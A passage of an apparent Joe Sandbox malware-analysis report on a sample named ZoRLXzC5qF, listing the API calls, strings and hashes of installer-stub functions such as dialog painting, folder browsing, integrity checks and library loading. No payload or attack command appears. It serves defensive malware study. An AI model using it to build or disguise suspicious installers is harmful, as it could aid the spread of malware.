SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004048A6
LoadCursorW.USER32(00000000,00007F02), ref: 004048B4
SetCursor.USER32(00000000), ref: 004048B7
LoadCursorW.USER32(00000000,00007F00), ref: 004048D0
SetCursor.USER32(00000000), ref: 004048D3
SendMessageW.USER32(00000111,?,00000000), ref: 00404902
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404914

Strings

,F@, xrefs: 004048BF
N, xrefs: 00404851

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: ,F@$N
API String ID: 3103080414-1819947528
Opcode ID: ffd7346a229d966f7877475afaa511d8b27e78dae7af650fbb9c2f9128a087cb
Instruction ID: ccb0ec9a7d9d767aff215416cd1a2e620de701fb5c4a8d8609e67ea5798c0c5e
Opcode Fuzzy Hash: ffd7346a229d966f7877475afaa511d8b27e78dae7af650fbb9c2f9128a087cb
Instruction Fuzzy Hash: 046192F1900209BFDB10AF64DD85EAA7B69FB84315F00853AFB05B65E0C778A951CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,?), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433700,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction ID: eca0ad76d85821e0a7fbe67f508e5060b260b918cc65b70bf06bca200ae74670
Opcode Fuzzy Hash: f8b3db801d2c504d9e2de6f85bac4b8fdc05036872983a9c428bf394377a2a15
Instruction Fuzzy Hash: 2F418B71800209AFCB058FA5DE459AFBFB9FF45314F00802EF591AA1A0C738EA54DFA4

Function 004061BD Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000000,?,?,00406358,?,?), ref: 004061F8
GetShortPathNameW.KERNEL32(?,00430108,00000400), ref: 00406201

Part of subcall function 00405FCC: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FDC
Part of subcall function 00405FCC: lstrlenA.KERNEL32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040600E

GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 0040621E
wsprintfA.USER32 ref: 0040623C
GetFileSize.KERNEL32(00000000,00000000,00430908,C0000000,00000004,00430908,?,?,?,?,?), ref: 00406277
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406286
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004062BE
SetFilePointer.KERNEL32(0040A580,00000000,00000000,00000000,00000000,0042FD08,00000000,-0000000A,0040A580,00000000,[Rename],00000000,00000000,00000000), ref: 00406314
GlobalFree.KERNEL32(00000000), ref: 00406325
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040632C

Part of subcall function 00406067: GetFileAttributesW.KERNEL32(00000003,004030E2,00442800,80000000,00000003), ref: 0040606B
Part of subcall function 00406067: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000), ref: 0040608D

Strings

[Rename], xrefs: 004062A6, 004062B8
%ls=%ls, xrefs: 00406232

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 67e7abcb15a3b792ff514517dbaa51231beb97817eaf9b334bdc8e12bec0558b
Instruction ID: 21ba76f912769f78f8e3df01d85e3e27af82f360ac84a16f7af8f01611abcd2b
Opcode Fuzzy Hash: 67e7abcb15a3b792ff514517dbaa51231beb97817eaf9b334bdc8e12bec0558b
Instruction Fuzzy Hash: 66314330240325BBD2206B659D48F6B3B6CDF45708F16043EFD42B62C2DA3C982486BD

Function 004049E7 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404A36
SetWindowTextW.USER32(00000000,?), ref: 00404A60
SHBrowseForFolderW.SHELL32(?), ref: 00404B11
CoTaskMemFree.OLE32(00000000), ref: 00404B1C
lstrcmpiW.KERNEL32(004326A0,0042CA68,00000000,?,?), ref: 00404B4E
lstrcatW.KERNEL32(?,004326A0), ref: 00404B5A
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B6C

Part of subcall function 00405BBB: GetDlgItemTextW.USER32(?,?,00000400,00404BA3), ref: 00405BCE

Part of subcall function 00406825: CharNextW.USER32(?,*?|<>/":,00000000,0043F000,75573420,00441800,00000000,0040352D,00441800,00441800,0040383C,?,00000008,0000000A,0000000C), ref: 00406888
Part of subcall function 00406825: CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406897
Part of subcall function 00406825: CharNextW.USER32(?,0043F000,75573420,00441800,00000000,0040352D,00441800,00441800,0040383C,?,00000008,0000000A,0000000C), ref: 0040689C
Part of subcall function 00406825: CharPrevW.USER32(?,?,75573420,00441800,00000000,0040352D,00441800,00441800,0040383C,?,00000008,0000000A,0000000C), ref: 004068AF

GetDiskFreeSpaceW.KERNEL32(0042AA38,?,?,0000040F,?,0042AA38,0042AA38,?,?,0042AA38,?,?,000003FB,?), ref: 00404C2F
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404C4A

Part of subcall function 00404DA3: lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E44
Part of subcall function 00404DA3: wsprintfW.USER32 ref: 00404E4D
Part of subcall function 00404DA3: SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E60

Strings

A, xrefs: 00404B0A

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 716f91307e0c0206c4811f73cf3aa40f2f43fcc6cf09981b0470e9a043fb6368
Instruction ID: 819d6111372f9eb468737b2dc9595d459319e5efb98401d1644bfd8e85b56d65
Opcode Fuzzy Hash: 716f91307e0c0206c4811f73cf3aa40f2f43fcc6cf09981b0470e9a043fb6368
Instruction Fuzzy Hash: 14A180B1901208ABDB11EFA5DD45BAFB7B8EF84314F11803BF601B62D1D77C9A418B69

Function 004030A2 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 181memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004030B3
GetModuleFileNameW.KERNEL32(00000000,00442800,00000400), ref: 004030CF

Part of subcall function 00406067: GetFileAttributesW.KERNEL32(00000003,004030E2,00442800,80000000,00000003), ref: 0040606B
Part of subcall function 00406067: CreateFileW.KERNEL32(?,?,?,00000000,?,00000001,00000000), ref: 0040608D

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,00440800,00440800,00442800,00442800,80000000,00000003), ref: 0040311B
GlobalAlloc.KERNEL32(00000040,?), ref: 00403251

Strings

Inst, xrefs: 00403187
Error launching installer, xrefs: 004030F2
soft, xrefs: 00403190
Null, xrefs: 00403199
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403278

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-527102705
Opcode ID: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction ID: 55eb758a8cc994b5b8f5e8324c308f37a69edd03a8198e206d37cac48cd63750
Opcode Fuzzy Hash: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction Fuzzy Hash: E9519171900204AFDB209FA5DD86B9E7EACEB09356F20417BF504B62D1C7789F408BAD

Function 004065B4 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 204stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004326A0,00000400), ref: 004066D6
GetWindowsDirectoryW.KERNEL32(004326A0,00000400,00000000,0042BA48,?,?,00000000,00000000,?,755723A0), ref: 004066EC
SHGetPathFromIDListW.SHELL32(00000000,004326A0), ref: 0040674A
CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 00406753
lstrcatW.KERNEL32(004326A0,\Microsoft\Internet Explorer\Quick Launch,00000000,0042BA48,?,?,00000000,00000000,?,755723A0), ref: 0040677E
lstrlenW.KERNEL32(004326A0,00000000,0042BA48,?,?,00000000,00000000,?,755723A0), ref: 004067D8

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 004066A7
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406778

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-730719616
Opcode ID: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction ID: fc4c1bf1ff31ba1b34cdfc75387d7881e57296f2874843d1a5ebc397bafcf832
Opcode Fuzzy Hash: 2066e1c471d7490a15c1c198898eb18b068b97d6eda6cad4e7272ae8e9db0920
Instruction Fuzzy Hash: D16135716042009BD720AF24DD80B6B76E8EF85328F12453FF647B32D0DB7D9961865E

Function 004032D9 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403343
GetTickCount.KERNEL32 ref: 004033EA
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403413
wsprintfW.USER32 ref: 00403426

Strings

A, xrefs: 00403399
*B, xrefs: 00403304
... %d%%, xrefs: 00403420
A, xrefs: 004034A3

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: *B$ A$ A$... %d%%
API String ID: 551687249-3485722521
Opcode ID: 6d935c58c9c1f66a15f185bc6e4e505f3dabe6c18ce33db7fed369594a7e0453
Instruction ID: 3a086bfa1ae904988031f2e91e2ff9394e13111a018eeb379290de00703e2b75
Opcode Fuzzy Hash: 6d935c58c9c1f66a15f185bc6e4e505f3dabe6c18ce33db7fed369594a7e0453
Instruction Fuzzy Hash: 2F519F71900219DBCB11DF65DA44B9E7FB8AF44766F10413BE810BB2D1C7789A40CBA9

Function 0040455D Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040457A
GetSysColor.USER32(00000000), ref: 004045B8
SetTextColor.GDI32(?,00000000), ref: 004045C4
SetBkMode.GDI32(?,?), ref: 004045D0
GetSysColor.USER32(?), ref: 004045E3
SetBkColor.GDI32(?,?), ref: 004045F3
DeleteObject.GDI32(?), ref: 0040460D
CreateBrushIndirect.GDI32(?), ref: 00404617

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction ID: 3bf72a8e0ffa46ee4049c610ab3cabbd6d50cfb344f29d4a8179c655b9565abb
Opcode Fuzzy Hash: 9dba601b91aff6ac4bf2e5f3eaee39d76022ea5146a5c84035e03d3d84c8d27c
Instruction Fuzzy Hash: 5C2165B1500B04ABC7319F38DE08B577BF4AF41715F04892EEA96A26E0D739D944CB54

Function 00402711 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040277D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,?), ref: 004027B8
SetFilePointer.KERNEL32(?,?,?,?,?,00000008,?,?,?,?), ref: 004027DB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,?,?,?,?,00000008,?,?,?,?), ref: 004027F1

Part of subcall function 00406148: SetFilePointer.KERNEL32(?,00000000,00000000,?), ref: 0040615E

SetFilePointer.KERNEL32(?,?,?,?,?,?,00000002), ref: 0040289D

Strings

9, xrefs: 00402760

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: e6852b5c5fbfd8bc876860f3b14f1bcaed0b753dd9a04d4db6e12186382bd870
Instruction ID: d1aefac9689752b6b3ea6a4f87dd4281ecbe68d6f3974aa7f4e2ef829afcd0bd
Opcode Fuzzy Hash: e6852b5c5fbfd8bc876860f3b14f1bcaed0b753dd9a04d4db6e12186382bd870
Instruction Fuzzy Hash: 66510C75D04119AADF20EFD4CA85AAEBBB9FF44304F14817BE501B62D0D7B89D828B58

Function 004055FC Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042BA48,00000000,?,755723A0,?,?,?,?,?,?,?,?,?,0040343D,00000000,?), ref: 00405634
lstrlenW.KERNEL32(0040343D,0042BA48,00000000,?,755723A0,?,?,?,?,?,?,?,?,?,0040343D,00000000), ref: 00405644
lstrcatW.KERNEL32(0042BA48,0040343D,0040343D,0042BA48,00000000,?,755723A0), ref: 00405657
SetWindowTextW.USER32(0042BA48,0042BA48), ref: 00405669
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040568F
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004056A9
SendMessageW.USER32(?,00001013,?,00000000), ref: 004056B7

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction ID: 60923f6e922cea494a698f26c75bee70e53a21f42b4b77269416c2a585f1ce57
Opcode Fuzzy Hash: 7a9b63bfacfea3e7ee08c26d0c930c27eafc8712a75251909ef17a9a102c325c
Instruction Fuzzy Hash: 9A21A171900258BACB119FA5ED449DFBFB4EF45310F50843AF908B22A0C3794A40CFA8

Function 00404EB1 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404ECC
GetMessagePos.USER32 ref: 00404ED4
ScreenToClient.USER32(?,?), ref: 00404EEE
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404F00
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404F26

Strings

f, xrefs: 00404F02

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction ID: fe1e2a7802b6c51c8f018a14413b1ee553013da7dc16083b389f375565560bf3
Opcode Fuzzy Hash: 3b05e908374c5eb3ed0cc07743cf8bdf4b6f619b857b2f4ef42225a5e6fc1927
Instruction Fuzzy Hash: 20015E71900219BADB00DB94DD85BFEBBBCAF95711F10412BBB51B61D0C7B4AA418BA4

Function 00402FB8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,000000FA,00000000), ref: 00402FD6
MulDiv.KERNEL32(?,00000064,?), ref: 00403001
wsprintfW.USER32 ref: 00403011
SetWindowTextW.USER32(?,?), ref: 00403021
SetDlgItemTextW.USER32(?,00000406,?), ref: 00403033

Strings

verifying installer: %d%%, xrefs: 0040300B

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction ID: de78d71e2fb772fb87643f85aa6fa794cb5f2d0f129fd79c7e15704eeb750e6f
Opcode Fuzzy Hash: 492ce7ecf44becc2b6f328ccb1258d65c9f2870c51930cf6044baf7ee7e6d13e
Instruction Fuzzy Hash: 85014F71640208BBEF209F60DD49FEE3B79AB04344F008039FA02B51D0DBB996559B59

Function 00402975 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029D6
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029F2
GlobalFree.KERNEL32(?), ref: 00402A2B
GlobalFree.KERNEL32(00000000), ref: 00402A3E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A5A
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A6D

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 12069ca59edc5e45febacc53791406d74f20a71b16248a4462b159327f362224
Instruction ID: fd7949a1005e62e73a365a75524f2bbb059e9229dbd09bef2f8decdc6a7611be
Opcode Fuzzy Hash: 12069ca59edc5e45febacc53791406d74f20a71b16248a4462b159327f362224
Instruction Fuzzy Hash: FA31A271D00124BBCF21AFA5CE89D9E7E79AF45324F14423AF421762E1CB798D418FA8

Function 00406825 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,0043F000,75573420,00441800,00000000,0040352D,00441800,00441800,0040383C,?,00000008,0000000A,0000000C), ref: 00406888
CharNextW.USER32(?,?,?,00000000,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00406897
CharNextW.USER32(?,0043F000,75573420,00441800,00000000,0040352D,00441800,00441800,0040383C,?,00000008,0000000A,0000000C), ref: 0040689C
CharPrevW.USER32(?,?,75573420,00441800,00000000,0040352D,00441800,00441800,0040383C,?,00000008,0000000A,0000000C), ref: 004068AF

Strings

*?|<>/":, xrefs: 00406877

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction ID: bedb2e6347f460b6a244a356934bd0223db9426f0f89d28790e15ec7ef568a4f
Opcode Fuzzy Hash: d9890b2689dddc4776a4db6af1629ac80bd1bcc56ba6148264ccbff8cf15ab87
Instruction Fuzzy Hash: C911B66780221295DB303B148C40A7762A8AF59754F56C43FED86732C0E77C5C9282AD

Function 004068FB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406912
wsprintfW.USER32 ref: 0040694D
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 00406961

Strings

UXTHEME, xrefs: 00406904
%s%S.dll, xrefs: 00406947

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME
API String ID: 2200240437-1106614640
Opcode ID: 7a73cbb44207cafadb11ab8eaaa41fd963bfa172cfc882b2dd9c54e233860d96
